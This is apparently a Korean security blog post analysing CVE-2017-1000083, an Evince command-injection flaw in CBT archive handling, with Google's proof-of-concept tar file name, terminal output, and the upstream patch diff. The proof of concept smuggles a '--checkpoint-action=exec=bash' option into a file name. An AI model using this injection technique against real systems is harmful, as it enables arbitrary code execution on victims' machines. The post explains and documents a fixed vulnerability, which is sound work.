기본 콘텐츠로 건너뛰기

CVE-2017-1000083

CVE-2017-1000083

리눅스 환경에서 PDF와 같은 문서를 보는 용도로 많이 사용되는 Evince에서 cbt 파일을 열 때, 임의의 명령어를 실행할 수 있는 취약점이 발생했다. 취약점에 대해 살펴보자.

CBT 파일은 tar형식의 파일로 cbt 파일 처리 시 Evince는

tar -xOf $archive $filename

와 같은 명령어를 수행합니다.

구글 보안팀에서는 tar 옵션으로 구성한 JPG 파일을 이용하여 취약점을 증명하였다.
File Name : “–checkpoint-action=exec=bash -c ‘touch ~covfefe.evince;’.jpg”

fwilhelm@box $ tar -tf poc.cbt
--checkpoint-action=exec=bash -c 'touch ~/covfefe.evince;'.jpg
fwilhelm@box $ ls -la ~/covfefe.evince
ls: cannot access covfefe.evince: No such file or directory
fwilhelm@box $ evince poc.cbt
fwilhelm@box $ ls -la ~/covfefe.evince
-rw-r----- 1 fwilhelm eng 0 Jun 28 11:05 /home/fwilhelm/covfefe.evince

파일 이름에 삽입한 tar 의 –checkpoint-action 옵션이 동작하여 파일 생성에 성공한 것을 확인할 수 있다.

취약점을 발견한 구글 보안팀에서는 프로그램 내 tar 명령어의 구성을 다음과 같이 변경할 것을 권하였다.

{"%s -xOf --"   , "%s -tf -- %s"   , NULL      , FALSE, NO_OFFSET}

실제 프로그래머들은 CBT 파일 사용이 제한적이라는 판단으로 tar 사용 소스코드를 제거하는 방법으로 조치를 완료하였다. (bugzilla)

패치 소스코드 비교

diff --git a/backend/comics/comics-document.c b/backend/comics/comics-document.c
index 4c74731..641d785 100644
--- a/backend/comics/comics-document.c
+++ b/backend/comics/comics-document.c
@@ -56,8 +56,7 @@ typedef enum
    RARLABS,
    GNAUNRAR,
    UNZIP,
-   P7ZIP,
-   TAR
+   P7ZIP
 } ComicBookDecompressType;

 typedef struct _ComicsDocumentClass ComicsDocumentClass;
@@ -117,9 +116,6 @@ static const ComicBookDecompressCommand command_usage_def[] = {

         /* 7zip */
    {NULL               , "%s l -- %s"     , "%s x -y %s -o%s", FALSE, OFFSET_7Z},
-
-        /* tar */
-   {"%s -xOf"          , "%s -tf %s"      , NULL             , FALSE, NO_OFFSET}
 };

 static GSList*    get_supported_image_extensions (void);
@@ -364,13 +360,6 @@ comics_check_decompress_command    (gchar          *mime_type,
            comics_document->command_usage = GNAUNRAR;
            return TRUE;
        }
-       comics_document->selected_command =
-               g_find_program_in_path ("bsdtar");
-       if (comics_document->selected_command) {
-           comics_document->command_usage = TAR;
-           return TRUE;
-       }
-
    } else if (g_content_type_is_a (mime_type, "application/x-cbz") ||
           g_content_type_is_a (mime_type, "application/zip")) {
        /* InfoZIP's unzip program */
@@ -396,12 +385,6 @@ comics_check_decompress_command    (gchar          *mime_type,
            comics_document->command_usage = P7ZIP;
            return TRUE;
        }
-       comics_document->selected_command =
-               g_find_program_in_path ("bsdtar");
-       if (comics_document->selected_command) {
-           comics_document->command_usage = TAR;
-           return TRUE;
-       }

    } else if (g_content_type_is_a (mime_type, "application/x-cb7") ||
           g_content_type_is_a (mime_type, "application/x-7z-compressed")) {
@@ -425,27 +408,6 @@ comics_check_decompress_command    (gchar          *mime_type,
            comics_document->command_usage = P7ZIP;
            return TRUE;
        }
-       comics_document->selected_command =
-               g_find_program_in_path ("bsdtar");
-       if (comics_document->selected_command) {
-           comics_document->command_usage = TAR;
-           return TRUE;
-       }
-   } else if (g_content_type_is_a (mime_type, "application/x-cbt") ||
-          g_content_type_is_a (mime_type, "application/x-tar")) {
-       /* tar utility (Tape ARchive) */
-       comics_document->selected_command =
-               g_find_program_in_path ("tar");
-       if (comics_document->selected_command) {
-           comics_document->command_usage = TAR;
-           return TRUE;
-       }
-       comics_document->selected_command =
-               g_find_program_in_path ("bsdtar");
-       if (comics_document->selected_command) {
-           comics_document->command_usage = TAR;
-           return TRUE;
-       }
    } else {
        g_set_error (error,
                 EV_DOCUMENT_ERROR,
diff --git a/configure.ac b/configure.ac
index 9e9f831..7eb0f1f 100644
--- a/configure.ac
+++ b/configure.ac
@@ -795,7 +795,7 @@ AC_SUBST(TIFF_MIME_TYPES)
 AC_SUBST(APPDATA_TIFF_MIME_TYPES)
 AM_SUBST_NOTMAKE(APPDATA_TIFF_MIME_TYPES)
 if test "x$enable_comics" = "xyes"; then
-        COMICS_MIME_TYPES="application/x-cbr;application/x-cbz;application/x-cb7;application/x-cbt;application/x-ext-cbr;application/x-ext-cbz;application/vnd.comicbook+zip;application/x-ext-cb7;application/x-ext-cbt"
+        COMICS_MIME_TYPES="application/x-cbr;application/x-cbz;application/x-cb7;application/x-ext-cbr;application/x-ext-cbz;application/vnd.comicbook+zip;application/x-ext-cb7;"
         APPDATA_COMICS_MIME_TYPES=$(echo "<mimetype>$COMICS_MIME_TYPES</mimetype>" | sed -e 's/;/<\/mimetype>\n    <mimetype>/g')
         if test -z "$EVINCE_MIME_TYPES"; then
            EVINCE_MIME_TYPES="${COMICS_MIME_TYPES}"

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

American Fuzzy Lop And Address Sanitizer

American Fuzzy Lop And Address Sanitizer Address Sanitizer(ASAN) 단지 gcc/clang에 -fsanitize=address 옵션을 추가하는 것으로 간단히 사용할 수 있지만 그 효과는 충분하다. Example Out Of Bounds Read #include <stdio.h> int main() { int a[ 2 ] = { 3 , 1 }; int i = 2 ; printf ( "%i\n" , a[i]); } 예제 파일을 OutOfBoundsRead.c 로 생성하고 ASAN 옵션을 지정하여 clang 으로 컴파일하자. clang -g -fsanitize = address -fno -omit -frame -pointer OutOfBoundsRead . c -o OutOfBoundsRead 생성된 OutBoundsRead 파일을 실행하면 다음과 같은 결과를 볼 수 있다. ================================================================= ==3678==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc0ba87428 at pc 0x47b7db bp 0x7ffc0ba87390 sp 0x7ffc0ba87388 READ of size 4 at 0x7ffc0ba87428 thread T0 ==3678==WARNING: Trying to symbolize code, but external symbolizer is not initialized! #0 0x47b7da (/root/ASAN/OutOfBoundsRead+0x47b7da) #1 0x7faba0260f44 (/lib/x86_64-linux-gnu/libc.so.6+0x21f44) #2 0x...